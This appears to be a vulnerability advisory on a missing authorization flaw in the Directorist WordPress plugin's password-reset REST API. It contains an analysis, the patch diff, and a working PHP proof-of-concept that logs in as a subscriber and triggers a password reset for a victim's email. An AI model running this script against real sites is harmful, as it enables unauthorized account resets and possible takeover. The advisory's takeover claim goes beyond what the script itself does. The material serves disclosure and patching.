Atomic Edge analysis of CVE-2025-68069:
This vulnerability is a missing authorization flaw in the Directorist WordPress plugin. The issue affects the plugin’s password reset functionality via its REST API. Attackers with authenticated subscriber-level access can exploit this to perform unauthorized password reset operations on other user accounts, leading to account takeover. The CVSS score of 4.3 reflects a medium-severity impact.
The root cause lies in three permission check functions within the file `directorist/includes/rest-api/Version1/class-users-account-controller.php`. The functions `check_send_password_permission()`, `check_verify_reset_pin_permission()`, and `check_reset_password_permission()` all contained identical flawed logic. Each function only validated that the email parameter corresponded to an existing user account (lines 134-142, 144-152, and 154-162 in the vulnerable version). They lacked any capability check to verify if the currently authenticated user had permission to reset passwords for the target account. This allowed any authenticated user to trigger password reset flows for arbitrary users.
Exploitation requires an attacker to have a valid WordPress subscriber account or higher. The attacker would send authenticated POST requests to the Directorist REST API endpoints that handle password reset operations. These endpoints include `/wp-json/directorist/v1/users/send-password`, `/wp-json/directorist/v1/users/verify-reset-pin`, and `/wp-json/directorist/v1/users/reset-password`. The attacker would supply the `email` parameter containing the victim’s email address. No special payloads or parameters are needed beyond the target email, as the vulnerability is purely an authorization bypass.
The patch consolidates the three vulnerable permission check functions into a single protected method called `check_password_reset_permission()`. This new method adds critical authorization logic. After validating the email parameter and confirming the user exists, the patch checks the current user’s identity. Unauthenticated users are allowed to proceed, maintaining legitimate password reset flows. For authenticated users, the patch adds a check that either the current user ID matches the target user ID, or the current user has the `edit_user` capability for the target account (lines 176-178). This prevents authenticated users from resetting passwords for accounts they do not own or manage. The patch also adds proper error handling with a `WP_Error` response when authorization fails.
Successful exploitation allows attackers to reset passwords for arbitrary user accounts, including administrators. This leads to complete account takeover. Attackers can gain administrative access to the WordPress site if they target an admin account. They can then modify site content, install malicious plugins, exfiltrate sensitive data, or maintain persistent backdoor access. The vulnerability enables privilege escalation from low-privilege subscriber accounts to higher-privilege roles.
--- a/directorist/config.php
+++ b/directorist/config.php
@@ -1,7 +1,7 @@
<?php
// Plugin version.
if ( ! defined( 'ATBDP_VERSION' ) ) {
- define( 'ATBDP_VERSION', '8.5.8' );
+ define( 'ATBDP_VERSION', '8.5.9' );
}
// Plugin Folder Path.
if ( ! defined( 'ATBDP_DIR' ) ) {
--- a/directorist/directorist-base.php
+++ b/directorist/directorist-base.php
@@ -3,7 +3,7 @@
* Plugin Name: Directorist - Business Directory Plugin
* Plugin URI: https://wpwax.com
* Description: A comprehensive solution to create professional looking directory site of any kind. Like Yelp, Foursquare, etc.
- * Version: 8.5.8
+ * Version: 8.5.9
* Author: wpWax
* Author URI: https://wpwax.com
* Text Domain: directorist
--- a/directorist/includes/rest-api/Version1/class-users-account-controller.php
+++ b/directorist/includes/rest-api/Version1/class-users-account-controller.php
@@ -134,33 +134,57 @@
}
public function check_send_password_permission( $request ) {
- $user = $this->get_user_by_email( $request['email'] );
+ return $this->check_password_reset_permission( $request );
+ }
- if ( is_wp_error( $user ) ) {
- return $user;
- }
+ public function check_verify_reset_pin_permission( $request ) {
+ return $this->check_password_reset_permission( $request );
+ }
- return true;
+ public function check_reset_password_permission( $request ) {
+ return $this->check_password_reset_permission( $request );
}
- public function check_verify_reset_pin_permission( $request ) {
+ /**
+ * Centralized permission check for password reset operations.
+ *
+ * Security: Prevents authenticated users from performing password reset
+ * operations on other users' accounts, mitigating Broken Access Control.
+ *
+ * @param WP_REST_Request $request Full details about the request.
+ * @return bool|WP_Error True if the request has access, WP_Error otherwise.
+ */
+ protected function check_password_reset_permission( $request ) {
+ if ( empty( $request['email'] ) ) {
+ return new WP_Error(
+ 'directorist_rest_missing_email',
+ __( 'Email address is required.', 'directorist' ),
+ array( 'status' => 400 )
+ );
+ }
+
$user = $this->get_user_by_email( $request['email'] );
if ( is_wp_error( $user ) ) {
return $user;
}
- return true;
- }
-
- public function check_reset_password_permission( $request ) {
- $user = $this->get_user_by_email( $request['email'] );
+ // Allow unauthenticated users for legitimate password reset flows
+ $current_user_id = get_current_user_id();
+ if ( ! $current_user_id ) {
+ return true;
+ }
- if ( is_wp_error( $user ) ) {
- return $user;
+ // Authenticated users can only act on their own account or with edit_user capability
+ if ( $current_user_id === $user->ID || current_user_can( 'edit_user', $user->ID ) ) {
+ return true;
}
- return true;
+ return new WP_Error(
+ 'directorist_rest_cannot_reset_password',
+ __( 'Sorry, you are not allowed to reset password for this user.', 'directorist' ),
+ array( 'status' => rest_authorization_required_code() )
+ );
}
public function check_change_password_permission( $request ) {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68069 - Directorist <= 8.5.8 - Missing Authorization
<?php
// Configuration
$target_url = 'https://vulnerable-site.com'; // Change this to target site
$attacker_username = 'subscriber'; // Attacker's username
$attacker_password = 'password123'; // Attacker's password
$victim_email = 'admin@example.com'; // Target admin email
// Step 1: Authenticate as subscriber to get WordPress cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $attacker_username,
'pwd' => $attacker_password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
// Step 2: Exploit missing authorization to trigger password reset for victim
$reset_url = $target_url . '/wp-json/directorist/v1/users/send-password';
$reset_data = array('email' => $victim_email);
curl_setopt($ch, CURLOPT_URL, $reset_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($reset_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Step 3: Analyze response
if ($http_code == 200) {
$json_response = json_decode($response, true);
if (isset($json_response['success']) && $json_response['success']) {
echo "[SUCCESS] Password reset initiated for: " . $victim_email . "n";
echo "Response: " . $response . "n";
} else {
echo "[FAILED] Reset request failed. Response: " . $response . "n";
}
} else {
echo "[ERROR] HTTP " . $http_code . " received. Response: " . $response . "n";
}
curl_close($ch);
?>